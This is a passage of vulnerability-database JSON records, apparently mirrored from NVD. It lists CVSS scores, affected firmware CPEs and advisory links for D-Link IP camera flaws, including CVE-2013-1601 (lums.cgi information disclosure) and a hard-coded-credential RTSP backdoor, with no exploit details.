    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Exploit",
        "Third Party Advisory"
      ],
      "url": "https://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities"
    }
  ],
  "sourceIdentifier": "cve@mitre.org",
  "vulnStatus": "Modified",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-78"
        }
      ],
      "source": "nvd@nist.gov",
      "type": "Primary"
    }
  ]
}

Vulnerability from fkie_nvd
Published
2020-01-28 21:15
Modified
2024-11-21 01:49
Summary
An Information Disclosure vulnerability exists due to a failure to restrict access on the lums.cgi script when processing a live video stream in D-LINK An Information Disclosure vulnerability exists due to a failure to restrict access on the lums.cgi script when processing a live video stream in D-LINK WCS-1100 1.02, TESCO DCS-2121 1.05_TESCO, TESCO DCS-2102 1.05_TESCO, DCS-7510 1.00, DCS-7410 1.00, DCS-6410 1.00, DCS-5635 1.01, DCS-5605 1.01, DCS-5230L 1.02, DCS-5230 1.02, DCS-3430 1.02, DCS-3411 1.02, DCS-3410 1.02, DCS-2121 1.06_FR, DCS-2121 1.06, DCS-2121 1.05_RU, DCS-2102 1.06_FR, DCS-2102 1.06, DCS-2102 1.05_RU, DCS-1130L 1.04, DCS-1130 1.04_US, DCS-1130 1.03, DCS-1100L 1.04, DCS-1100 1.04_US, and DCS-1100 1.03, which could let a malicious user obtain sensitive information. which could let a malicious user obtain sensitive information.



{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:dcs-3411_firmware:1.02:*:*:*:*:*:*:*",
              "matchCriteriaId": "21E4F54E-78BD-4963-88C0-6B6F9D751C4B",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:dcs-3411:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "5A0A639C-EC97-4CF6-B853-B9CE3EEDF399",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    },
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:dcs-3430_firmware:1.02:*:*:*:*:*:*:*",
              "matchCriteriaId": "3595919A-23A4-42D7-BC22-9AA3E5F196E2",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:dcs-3430:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "0337488F-E15D-497E-855F-7719D4809433",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    },
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:dcs-5605_firmware:1.01:*:*:*:*:*:*:*",
              "matchCriteriaId": "0C400977-3E3C-4010-8EFE-75F30180FF22",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:dcs-5605:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "8B92CB5D-CD8E-4768-91CE-C3497C8EA58A",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    },
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:dcs-5635_firmware:1.01:*:*:*:*:*:*:*",
              "matchCriteriaId": "76933BB0-E0C2-4F81-9B28-879EDAC49302",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:dcs-5635:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "CCFFD6C7-9379-4197-B447-1C755E6636AB",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    },
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:dcs-1100l_firmware:1.04:*:*:*:*:*:*:*",
              "matchCriteriaId": "E0FD5F42-72DD-47F4-ABDD-E0E4D0D1754A",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:dcs-1100l:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "70D1E7AB-C4EA-4B97-B788-944244777CFF",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    },
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:dcs-1130l_firmware:1.04:*:*:*:*:*:*:*",
              "matchCriteriaId": "1B09CDBD-7DC9-4E4C-9FD6-3500C56D0B3E",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:dcs-1130l:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "C6DF5842-F02E-4076-9B26-A3CC1EEBC94E",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    },
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:dcs-1100_firmware:1.03:*:*:*:*:*:*:*",
              "matchCriteriaId": "5A26476D-57A8-481C-80CB-80CC238F083A",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:o:dlink:dcs-1100_firmware:1.04:*:*:*:*:*:*:*",
              "matchCriteriaId": "AD48A2EC-52EB-4C4B-B1ED-EC87822EDF5C",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:dcs-1100:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "704F9608-72CE-49C0-B7D2-F2FE84DF0C74",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    },
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:dcs-1130_firmware:1.03:*:*:*:*:*:*:*",
              "matchCriteriaId": "E5A39F0C-8E3B-41AA-8E1D-E2DABB0A4CCC",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:o:dlink:dcs-1130_firmware:1.04:*:*:*:*:*:*:*",
              "matchCriteriaId": "EA9B1618-9862-470A-AA4D-02A779B314A1",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:dcs-1130:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "33A388EC-275D-4180-83E2-AD73F7EEB54F",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    },
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:dcs-2102_firmware:1.05:*:*:*:*:*:*:*",
              "matchCriteriaId": "28CE404D-2DFF-4203-8954-FA579EF5924B",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:o:dlink:dcs-2102_firmware:1.06:*:*:*:*:*:*:*",
              "matchCriteriaId": "309BB5E5-5664-447B-B2C0-DCE54B0FDC2F",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:dcs-2102:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "78CD04CA-964A-4D74-B30E-7DC53E1858B6",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    },
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:dcs-2121_firmware:1.05:*:*:*:*:*:*:*",
              "matchCriteriaId": "C3435DC0-44C2-440D-9C56-39EC06782BBC",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:o:dlink:dcs-2121_firmware:1.06:*:*:*:*:*:*:*",
              "matchCriteriaId": "631443E3-859B-439D-879E-C342B514BF33",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:dcs-2121:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "FC1DE485-2705-4394-BC93-0BE99FE02F12",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    },
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:dcs-3410_firmware:1.02:*:*:*:*:*:*:*",
              "matchCriteriaId": "1DC3F994-76E7-487C-A144-FC6C5AFDC5D9",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:dcs-3410:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "4558EBD8-5FB0-487B-88E6-17E76B2B68BC",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    },
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:dcs-5230_firmware:1.02:*:*:*:*:*:*:*",
              "matchCriteriaId": "117E4B04-541F-4398-B644-959329FF45E5",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:dcs-5230:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "A17CC0BD-D224-4A30-A8CF-07E469F4BFA4",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    },
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:dcs-5230l_firmware:1.02:*:*:*:*:*:*:*",
              "matchCriteriaId": "5265C1F6-0246-4AF4-B348-86D3F8C95C0D",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:dcs-5230l:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "94FFCE95-2A81-465F-B4EB-3B1BD687D87F",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    },
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:dcs-6410_firmware:1.00:*:*:*:*:*:*:*",
              "matchCriteriaId": "2915F59C-512F-44B7-BB67-B699B622C055",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:dcs-6410:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "994CFC4C-7EC2-450A-9E05-940EE3CBA9D5",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    },
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:dcs-7410_firmware:1.00:*:*:*:*:*:*:*",
              "matchCriteriaId": "4DDC8CC0-F1B5-4EA4-A822-50FA02476365",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:dcs-7410:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "7AC168D7-AFFD-44A9-8CB7-29E1EDF0849A",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    },
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:dcs-7510_firmware:1.00:*:*:*:*:*:*:*",
              "matchCriteriaId": "4466E781-46D0-4A55-9136-3842E93C228A",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:dcs-7510:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "EF686286-DFA4-49CE-BF64-D6BA849FDCD4",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    },
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:wcs-1100_firmware:1.00:*:*:*:*:*:*:*",
              "matchCriteriaId": "113F0277-63F1-4623-B668-88865ADFAD83",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:wcs-1100:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "D06ED3F1-B59E-447F-B4E6-D95FB834A6C1",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "An Information Disclosure vulnerability exists due to a failure to restrict access on the lums.cgi script when processing a live video stream in D-LINK An Information Disclosure vulnerability exists due to a failure to restrict access on the lums.cgi script when processing a live video stream in D-LINK WCS-1100 1.02, TESCO DCS-2121 1.05_TESCO, TESCO DCS-2102 1.05_TESCO, DCS-7510 1.00, DCS-7410 1.00, DCS-6410 1.00, DCS-5635 1.01, DCS-5605 1.01, DCS-5230L 1.02, DCS-5230 1.02, DCS-3430 1.02, DCS-3411 1.02, DCS-3410 1.02, DCS-2121 1.06_FR, DCS-2121 1.06, DCS-2121 1.05_RU, DCS-2102 1.06_FR, DCS-2102 1.06, DCS-2102 1.05_RU, DCS-1130L 1.04, DCS-1130 1.04_US, DCS-1130 1.03, DCS-1100L 1.04, DCS-1100 1.04_US, and DCS-1100 1.03, which could let a malicious user obtain sensitive information. which could let a malicious user obtain sensitive information."
    },
    {
      "lang": "es",
      "value": "Se presenta una vulnerabilidad de divulgaci\u00f3n de informaci\u00f3n debido a un fallo al restringir el acceso al script lums.cgi cuando se procesa una transmisi\u00f3n de video en vivo en D-LINK WCS-1100 versi\u00f3n 1.02, TESCO DCS-2121 versi\u00f3n 1.05_TESCO, TESCO DCS-2102 versi\u00f3n 1.05_TESCO, DCS-7510 versi\u00f3n 1.00, DCS-7410 versi\u00f3n 1.00, DCS-6410 versi\u00f3n 1.00, DCS-5635 versi\u00f3n 1.01, DCS-5605 versi\u00f3n 1.01, DCS-5230L versi\u00f3n 1.02, DCS-5230 versi\u00f3n 1.02, DCS-3430 versi\u00f3n 1.02, DCS-3411 versi\u00f3n 1.02, DCS-3410 versi\u00f3n 1.02, DCS-2121 versi\u00f3n 1.06_FR, DCS-2121 versi\u00f3n 1.06, DCS-2121 versi\u00f3n 1.05_RU, DCS-2102 versi\u00f3n 1.06_FR, DCS- 2102 versi\u00f3n 1.06, DCS-2102 versi\u00f3n 1.05_RU, DCS-1130L versi\u00f3n 1.04, DCS-1130 versi\u00f3n 1.04_US, DCS-1130 versi\u00f3n 1.03, DCS-1100L versi\u00f3n 1.04, DCS-1100 versi\u00f3n 1.04_US y DCS-1100 versi\u00f3n 1.03, que podr\u00edan permitir a un usuario malicioso obtener informaci\u00f3n confidencial."
    }
  ],
  "id": "CVE-2013-1601",
  "lastModified": "2024-11-21T01:49:58.320",
  "metrics": {
    "cvssMetricV2": [
      {
        "acInsufInfo": false,
        "baseSeverity": "MEDIUM",
        "cvssData": {
          "accessComplexity": "LOW",
          "accessVector": "NETWORK",
          "authentication": "NONE",
          "availabilityImpact": "NONE",
          "baseScore": 5.0,
          "confidentialityImpact": "PARTIAL",
          "integrityImpact": "NONE",
          "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N",
          "version": "2.0"
        },
        "exploitabilityScore": 10.0,
        "impactScore": 2.9,
        "obtainAllPrivilege": false,
        "obtainOtherPrivilege": false,
        "obtainUserPrivilege": false,
        "source": "nvd@nist.gov",
        "type": "Primary",
        "userInteractionRequired": false
      }
    ],
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 5.3,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "LOW",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 1.4,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ]
  },
  "published": "2020-01-28T21:15:11.327",
  "references": [
    {
      "source": "cve@mitre.org",
      "tags": [
        "Third Party Advisory",
        "VDB Entry"
      ],
      "url": "http://www.securityfocus.com/bid/59570"
    },
    {
      "source": "cve@mitre.org",
      "tags": [
        "Third Party Advisory",
        "VDB Entry"
      ],
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/83939"
    },
    {
      "source": "cve@mitre.org",
      "tags": [
        "Third Party Advisory",
        "VDB Entry"
      ],
      "url": "https://packetstormsecurity.com/files/cve/CVE-2013-1601"
    },
    {
      "source": "cve@mitre.org",
      "tags": [
        "Permissions Required"
      ],
      "url": "https://vuldb.com/?id.8573"
    },
    {
      "source": "cve@mitre.org",
      "tags": [
        "Exploit",
        "Third Party Advisory"
      ],
      "url": "https://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Third Party Advisory",
        "VDB Entry"
      ],
      "url": "http://www.securityfocus.com/bid/59570"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Third Party Advisory",
        "VDB Entry"
      ],
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/83939"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Third Party Advisory",
        "VDB Entry"
      ],
      "url": "https://packetstormsecurity.com/files/cve/CVE-2013-1601"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Permissions Required"
      ],
      "url": "https://vuldb.com/?id.8573"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Exploit",
        "Third Party Advisory"
      ],
      "url": "https://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities"
    }
  ],
  "sourceIdentifier": "cve@mitre.org",
  "vulnStatus": "Modified",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-200"
        }
      ],
      "source": "nvd@nist.gov",
      "type": "Primary"
    }
  ]
}

Vulnerability from fkie_nvd
Published
2020-01-28 22:15
Modified
2024-11-21 01:49
Summary
An Authentication vulnerability exists in D-LINK WCS-1100 1.02, TESCO DCS-2121 1.05_TESCO, TESCO DCS-2102 1.05_TESCO, DCS-7510 1.00, DCS-7410 1.00, DCS-6410 1.00, DCS-5635 1.01, DCS-5605 1.01, DCS-5230L 1.02, DCS-5230 1.02, DCS-3430 1.02, DCS-3411 1.02, DCS-3410 1.02, DCS-2121 1.06_FR, DCS-2121 1.06, DCS-2121 1.05_RU, DCS-2102 1.06_FR, DCS-2102 1.06, DCS-2102 1.05_RU, DCS-1130L 1.04, DCS-1130 1.04_US, DCS-1130 1.03, DCS-1100L 1.04, DCS-1100 1.04_US, and DCS-1100 1.03 due to hard-coded credentials that serve as a backdoor, which allows remote attackers to access the RTSP video stream.



{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:dcs-3411_firmware:1.02:*:*:*:*:*:*:*",
              "matchCriteriaId": "21E4F54E-78BD-4963-88C0-6B6F9D751C4B",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:dcs-3411:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "5A0A639C-EC97-4CF6-B853-B9CE3EEDF399",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    },
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:dcs-3430_firmware:1.02:*:*:*:*:*:*:*",
              "matchCriteriaId": "3595919A-23A4-42D7-BC22-9AA3E5F196E2",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:dcs-3430:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "0337488F-E15D-497E-855F-7719D4809433",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    },
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:dcs-5605_firmware:1.01:*:*:*:*:*:*:*",
              "matchCriteriaId": "0C400977-3E3C-4010-8EFE-75F30180FF22",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:dcs-5605:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "8B92CB5D-CD8E-4768-91CE-C3497C8EA58A",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    },
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:dcs-5635_firmware:1.01:*:*:*:*:*:*:*",
              "matchCriteriaId": "76933BB0-E0C2-4F81-9B28-879EDAC49302",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:dcs-5635:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "CCFFD6C7-9379-4197-B447-1C755E6636AB",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    },
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:dcs-1100l_firmware:1.04:*:*:*:*:*:*:*",
              "matchCriteriaId": "E0FD5F42-72DD-47F4-ABDD-E0E4D0D1754A",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:dcs-1100l:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "70D1E7AB-C4EA-4B97-B788-944244777CFF",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    },
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:dcs-1130l_firmware:1.04:*:*:*:*:*:*:*",
              "matchCriteriaId": "1B09CDBD-7DC9-4E4C-9FD6-3500C56D0B3E",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:dcs-1130l:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "C6DF5842-F02E-4076-9B26-A3CC1EEBC94E",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    },
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:dcs-1100_firmware:1.03:*:*:*:*:*:*:*",
              "matchCriteriaId": "5A26476D-57A8-481C-80CB-80CC238F083A",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:o:dlink:dcs-1100_firmware:1.04:*:*:*:*:*:*:*",
              "matchCriteriaId": "AD48A2EC-52EB-4C4B-B1ED-EC87822EDF5C",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:dcs-1100:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "704F9608-72CE-49C0-B7D2-F2FE84DF0C74",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    },
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:dcs-1130_firmware:1.03:*:*:*:*:*:*:*",
              "matchCriteriaId": "E5A39F0C-8E3B-41AA-8E1D-E2DABB0A4CCC",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:o:dlink:dcs-1130_firmware:1.04:*:*:*:*:*:*:*",
              "matchCriteriaId": "EA9B1618-9862-470A-AA4D-02A779B314A1",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:dcs-1130:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "33A388EC-275D-4180-83E2-AD73F7EEB54F",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    },
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:dcs-2102_firmware:1.05:*:*:*:*:*:*:*",
              "matchCriteriaId": "28CE404D-2DFF-4203-8954-FA579EF5924B",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:o:dlink:dcs-2102_firmware:1.06:*:*:*:*:*:*:*",
              "matchCriteriaId": "309BB5E5-5664-447B-B2C0-DCE54B0FDC2F",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:dcs-2102:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "78CD04CA-964A-4D74-B30E-7DC53E1858B6",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    },
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:dcs-2121_firmware:1.05:*:*:*:*:*:*:*",
              "matchCriteriaId": "C3435DC0-44C2-440D-9C56-39EC06782BBC",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:o:dlink:dcs-2121_firmware:1.06:*:*:*:*:*:*:*",
              "matchCriteriaId": "631443E3-859B-439D-879E-C342B514BF33",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:dcs-2121:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "FC1DE485-2705-4394-BC93-0BE99FE02F12",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    },
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:dcs-3410_firmware:1.02:*:*:*:*:*:*:*",
              "matchCriteriaId": "1DC3F994-76E7-487C-A144-FC6C5AFDC5D9",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:dcs-3410:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "4558EBD8-5FB0-487B-88E6-17E76B2B68BC",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    },
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:dcs-5230_firmware:1.02:*:*:*:*:*:*:*",
              "matchCriteriaId": "117E4B04-541F-4398-B644-959329FF45E5",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:dcs-5230:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "A17CC0BD-D224-4A30-A8CF-07E469F4BFA4",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    },
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:dcs-5230l_firmware:1.02:*:*:*:*:*:*:*",
              "matchCriteriaId": "5265C1F6-0246-4AF4-B348-86D3F8C95C0D",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:dcs-5230l:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "94FFCE95-2A81-465F-B4EB-3B1BD687D87F",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    },
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:dcs-6410_firmware:1.00:*:*:*:*:*:*:*",
              "matchCriteriaId": "2915F59C-512F-44B7-BB67-B699B622C055",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:dcs-6410:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "994CFC4C-7EC2-450A-9E05-940EE3CBA9D5",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    },
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:dcs-7410_firmware:1.00:*:*:*:*:*:*:*",
              "matchCriteriaId": "4DDC8CC0-F1B5-4EA4-A822-50FA02476365",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:dcs-7410:-:*:*:*:*:*:*:*",
